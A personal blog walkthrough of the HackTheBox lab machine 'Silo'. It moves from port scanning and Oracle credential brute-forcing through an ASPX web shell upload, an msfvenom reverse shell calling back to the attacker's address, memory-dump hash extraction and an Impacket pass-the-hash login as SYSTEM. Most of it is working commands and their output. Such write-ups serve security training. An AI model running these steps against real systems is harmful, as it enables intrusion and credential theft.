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Network security, programming, crypto and other things that interest me.

HackTheBox: Silo

Posted 2 min readFiled under HackTheBox

The first step was to run Nmap against the machine to identify hidden services:

# Nmap 7.91 scan initiated Tue Dec 29 08:06:50 2020 as: nmap -O -sV -sC -p- -oN scan 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up (0.021s latency).
Not shown: 65520 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  oracle-tns   Oracle TNS listener (requires service name)
49160/tcp open  msrpc        Microsoft Windows RPC
49161/tcp open  msrpc        Microsoft Windows RPC
49162/tcp open  msrpc        Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows Server 2012 (96%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows Server 2012 R2 Update 1 (96%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (96%), Microsoft Windows Vista SP1 (96%), Microsoft Windows Server 2012 or Server 2012 R2 (95%), Microsoft Windows 7 or Windows Server 2008 R2 (94%), Microsoft Windows Server 2008 SP2 Datacenter Version (94%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-12-29T13:09:29
|_  start_date: 2020-12-29T11:37:20

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 29 08:09:33 2020 -- 1 IP address (1 host up) scanned in 163.06 seconds

You can see from the output that there are a number of open ports. I started with port 80 as this is the most familiar with me, but it only navigated to the default IIS page. Dirbuster identified no other hidden directories.

Default IIS page on the Silo machine

I next moved onto the Oracle TNS listener on port 1521. There is a tool called ODAT which can be used to enumerate and exploit this machine. I downloaded and installed the tool, then ran in specifying in the arguments to run every option.

┌──(root💀kali)-[/home/kali/Documents/silo/odat]
└─# python3 ./odat.py all -s 10.10.10.82                                                                       2 ⨯

[1] (10.10.10.82:1521): Is it vulnerable to TNS poisoning (CVE-2012-1675)?                                         
[+] The target is vulnerable to a remote TNS poisoning

[2] (10.10.10.82:1521): Searching valid SIDs                                                                       
[2.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] 'XE' is a valid SID. Continue...                    ######################################### | ETA:  00:00:00 
[+] 'XEXDB' is a valid SID. Continue...                 
100% |############################################################################################| Time: 00:00:52 
[2.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |############################################################################################| Time: 00:00:01 
[2.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid SID. Continue...                    ###############################           | ETA:  00:00:04 
100% |############################################################################################| Time: 00:00:42 
[+] SIDs found on the 10.10.10.82:1521 server: XE,XEXDB

[3] (10.10.10.82:1521): Searching valid accounts on the XE SID                                                     
The login cis has already been tested at least once. What do you want to do:                      | ETA:  00:02:28 
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
A     
The login #internal has already been tested at least once. What do you want to do:                | ETA:  00:02:29 
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
C
[+] Valid credentials found: scott/tiger. Continue...   #######################                   | ETA:  00:00:49 
100% |############################################################################################| Time: 00:03:53 
[+] Accounts found on 10.10.10.82:1521/XE: 
scott/tiger                                                                                                        
                                                                                                                   

[4] (10.10.10.82:1521): Searching valid accounts on the XEXDB SID                                                  
The login abm has already been tested at least once. What do you want to do:                      | ETA:  --:--:-- 
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
c
[+] Valid credentials found: scott/tiger. Continue...   #######################                   | ETA:  00:00:34 
100% |############################################################################################| Time: 00:02:54 
[+] Accounts found on 10.10.10.82:1521/XEXDB: 
scott/tiger                                                                                                        
                                                                                                                   

[5] (10.10.10.82:1521): Testing all modules on the XE SID with the scott/tiger account                             
|############################################################################################| Time: 00:00:49

You can see from the output that there was 2 SID’s that were discovered. XE and XEXDB. The credentials scott/tiger were also found. Using the same ODAT tool I then uploaded a reverse shell to the machine. Based on experience I know that by default the web content in IIS is stored in c:\\inetpub\wwwroot. Because of this I uploaded an ASPX shell to that directory so it can be interacted with through the web browser. The aspx file was the daulty kali one found in /usr/share/webshells/aspx/cmdasp.aspx.

┌──(root💀kali)-[/home/kali/Documents/silo/odat]
└─# python3 odat.py utlfile --putFile "c:\\inetpub\wwwroot" "cmdasp.aspx" "cmdasp.aspx" -s 10.10.10.82 -d XE -U scott -P tiger --sysdba                                                                                                3 ⚙

[1] (10.10.10.82:1521): Put the cmdasp.aspx local file in the c:\inetpub\wwwroot folder like cmdasp.aspx on the 10.10.10.82 server                                                                                                         
[+] The cmdasp.aspx file was created on the c:\inetpub\wwwroot directory on the 10.10.10.82 server like the cmdasp.aspx file

Once this has run i browsed to http://10.10.10.82/cmdasp.aspx and was greeted with the ASPX shell.

cmdasp.aspx web shell running on the Silo machine

I then created a reverse shell in MSFVENOM to allow me to interact with the machine more easily.

┌──(root💀kali)-[/var/www]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=2600 -f exe > reverse2600.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

This was then uploaded to the Silo machine using the ODAT tool and the same method as before.

┌──(root💀kali)-[/home/kali/Documents/silo/odat]
└─# python3 odat.py utlfile --putFile "c:\\inetpub\wwwroot" "reverse2600.exe" "reverse2600.exe" -s 10.10.10.82 -d XE -U scott -P tiger --sysdba                                                                                        3 ⚙

[1] (10.10.10.82:1521): Put the reverse2600.exe local file in the c:\inetpub\wwwroot folder like reverse2600.exe on the 10.10.10.82 server                                                                                                 
[+] The reverse2600.exe file was created on the c:\inetpub\wwwroot directory on the 10.10.10.82 server like the reverse2600.exe file

I then started a Netcat listener on the Kali machine on port 2600.

┌──(root💀kali)-[/var/www]
└─# nc -nvlp 2600
listening on [any] 2600 ...

Then executed the reverse2600.exe shell on the Silo machine using the cmdasp.aspx web interface by entering the command c:\inetpub\wwwroot\reverse2600.exe. The shell was successfully captured with Netcat, and I was able to capture the user flag.

┌──(root💀kali)-[/var/www]
└─# nc -nvlp 2600
listening on [any] 2600 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.82] 49163
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.


c:\windows\system32\inetsrv>cd /Users
cd /Users

c:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 78D4-EA4D

 Directory of c:\Users

01/04/2018  09:40 PM    <DIR>          .
01/04/2018  09:40 PM    <DIR>          ..
01/03/2018  01:03 AM    <DIR>          .NET v2.0
01/03/2018  01:03 AM    <DIR>          .NET v2.0 Classic
01/03/2018  09:23 PM    <DIR>          .NET v4.5
01/03/2018  09:23 PM    <DIR>          .NET v4.5 Classic
01/01/2018  12:49 AM    <DIR>          Administrator
01/03/2018  01:03 AM    <DIR>          Classic .NET AppPool
01/07/2018  02:04 PM    <DIR>          Phineas
08/22/2013  03:39 PM    <DIR>          Public
               0 File(s)              0 bytes
              10 Dir(s)  15,030,591,488 bytes free


c:\Users>cd Phineas
cd Phineas

c:\Users\Phineas>cd Desktop
cd Desktop

c:\Users\Phineas\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 78D4-EA4D

 Directory of c:\Users\Phineas\Desktop

01/07/2018  02:03 PM    <DIR>          .
01/07/2018  02:03 PM    <DIR>          ..
01/05/2018  10:56 PM               300 Oracle issue.txt
01/04/2018  09:41 PM                32 user.txt
               2 File(s)            332 bytes
               2 Dir(s)  15,035,412,480 bytes free

c:\Users\Phineas\Desktop>type user.txt 
type user.txt
[REDACTED]

The next step was to esclate privilages. I opened the “Oracle issue.txt” file which was also located on the desktop.

c:\Users\Phineas\Desktop>more "Oracle issue.txt"
more "Oracle issue.txt"
Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested):

Dropbox link provided to vendor (and password under separate cover).

Dropbox link 
https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0

link password:
£%Hm8646uC$

c:\Users\Phineas\Desktop>

So i visited the link and downloaded the dump file. I then opened the file in Volatility.

┌──(root💀kali)-[/home/kali/Documents/silo]
└─# python ../Programs/volatility/volatility/vol.py imageinfo -f b.dmp                                                                                                                                                             1 ⨯ 2 ⚙
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...


Suggested Profile(s) : Win8SP0x64, Win10x64_17134, Win81U1x64, Win10x64_14393, Win10x64_18362, Win2012R2x64, Win2012R2x64_18340, Win10x64, Win2016x64_14393, Win10x64_16299, Win10x64_10240_17770, Win10x64_19041, Win2012x64, Win10x64_17763, Win8SP1x64_18340, Win10x64_10586, Win8SP1x64, Win10x64_15063 (Instantiated with Win10x64_15063)
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : WindowsCrashDumpSpace64 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/home/kali/Documents/silo/b.dmp)
                      PAE type : No PAE
                           DTB : 0x1a7000L
                          KDBG : 0xf80078520a30L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff8007857b000L
                KPCR for CPU 1 : 0xffffd000207e8000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-01-05 22:18:07 UTC+0000
     Image local date and time : 2018-01-05 22:18:07 +0000

We can see from the output that it was successful in being read. I then dumped the hashes from the file. I had to specify a profile which I determined using the “systeminfo” command on the Silo machine.

┌──(root💀kali)-[/home/kali/Documents/silo]
└─# python ../Programs/volatility/volatility/vol.py hashdump --profile=Win2012R2x64 -f b.dmp                                                                                                                                       1 ⨯ 2 ⚙
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::

I tried to then crack the Administrator hash but had no luck. I instead used PSEXEC by Impacket to login to the silo machine passing the captured hash.

┌──(root💀kali)-[/var/www]
└─# python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 Administrator@10.10.10.82                                                                                                              1 ⨯
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.82.....
[*] Found writable share ADMIN$
[*] Uploading file ChGRCoZk.exe
[*] Opening SVCManager on 10.10.10.82.....
[*] Creating service mUVA on 10.10.10.82.....
[*] Starting service mUVA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>cd /users
 
C:\Users>cd Administrator
 
C:\Users\Administrator>dir
 Volume in drive C has no label.
 Volume Serial Number is 78D4-EA4D

 Directory of C:\Users\Administrator

01/01/2018  12:49 AM    <DIR>          .
01/01/2018  12:49 AM    <DIR>          ..
01/06/2018  09:13 PM    <DIR>          Contacts
01/07/2018  01:34 PM    <DIR>          Desktopc
01/06/2018  09:13 PM    <DIR>          Documents
d01/07/2018  09:35 PM    <DIR>          Downloads
01/06/2018  09:13 PM    <DIR>          Favorites
 01/06/2018  09:13 PM    <DIR>          Links
01/06/2018  09:13 PM    <DIR>          Music
01/01/2018  12:11 AM    <DIR>          Oracle
01/06/2018  09:13 PM    <DIR>          Pictures
01/06/2018  09:13 PM    <DIR>          Saved Games
01/06/2018  09:13 PM    <DIR>          Searches
01/06/2018  09:13 PM    <DIR>          Videos
               0 File(s)              0 bytes
              14 Dir(s)  16,938,364,928 bytes free

C:\Users\Administrator>cd Desktop
 
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 78D4-EA4D

 Directory of C:\Users\Administrator\Desktop

01/07/2018  01:34 PM    <DIR>          .
01/07/2018  01:34 PM    <DIR>          ..
01/03/2018  11:38 PM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  16,938,364,928 bytes free

C:\Users\Administrator\Desktop>type root.txt
[REDACTED]

From the output you can see that this was successful. It successfully logged into the Silo machine as Administrator using the hash. I was then able to capture the root flag.

© 2026 James Woolley